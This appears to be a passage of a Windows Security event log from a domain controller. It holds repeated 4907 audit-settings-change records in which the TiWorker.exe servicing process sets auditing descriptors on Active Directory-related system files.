Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247611
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\DCCloneConfigSchema.xsd
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247610
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\CustomDCCloneAllowListSchema.xsd
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247609
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\csvde.dll
	Handle ID:	0xcd4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247608
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\adprep.dll
	Handle ID:	0xde8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247607
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\PLA\Rules\en-US\Rules.AD.xml
	Handle ID:	0xcd4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247606
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\PLA\Rules\Rules.AD.xml
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247605
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\PLA\Reports\en-US\Report.AD.xml
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247604
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\PLA\Reports\Report.AD.xml
	Handle ID:	0xde8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247603
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\INF\NTDS\0409\ntds.ini
	Handle ID:	0xcd4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247602
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\INF\NTDS\0000\ntds.ini
	Handle ID:	0xde8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247601
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\INF\NTDS\ntdsctr.h
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247600
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\INF\DirectoryServices\0409\ntdsctrs.ini
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247599
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\INF\DirectoryServices\0000\ntdsctrs.ini
	Handle ID:	0xcd4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247598
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\INF\DirectoryServices\ntdsctr.h
	Handle ID:	0xde8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247597
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\ADWS\en-US\adwsres.dll.mui
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247596
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\ADWS\en\Microsoft.ActiveDirectory.WebServices.shared.resources.dll
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247595
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\ADWS\en\Microsoft.ActiveDirectory.WebServices.resources.dll
	Handle ID:	0xde8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247594
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.shared.dll
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247593
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247592
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\ADWS\adwsres.dll
	Handle ID:	0xde8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247591
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\ProgramData\Microsoft\Event Viewer\Views\ServerRoles\ActiveDirectoryDomainServices.Events.xml
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247590
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\programdata_microsoft_event_viewer_views_serverroles_36b1368cd034c4a0.cdf-ms
	Handle ID:	0xde8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247589
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\programdata_microsoft_windows_start_menu_programs_administrative_tools_50eba26877c48094.cdf-ms
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247588
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\programdata_microsoft_windows_start_menu_programs_d672ba09d81e87ff.cdf-ms
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247587
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\programdata_microsoft_windows_start_menu_fde55420546edfe6.cdf-ms
	Handle ID:	0xde8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247586
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\programdata_microsoft_windows_cae2264614449191.cdf-ms
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247585
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\programdata_microsoft_fe5c6d762edd2110.cdf-ms
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247584
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\programdata.cdf-ms
	Handle ID:	0xde8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247583
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_adws_en_9ef683327778e99a.cdf-ms
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247582
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_adws_en-us_b35e8e0c695e6d21.cdf-ms
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247581
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_adws_40103581a18c1e95.cdf-ms
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247580
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_inf_directoryservices_0000_305e975d8b02b78e.cdf-ms
	Handle ID:	0xcdc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247579
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_inf_directoryservices_0409_305ea87b8b029dc9.cdf-ms
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
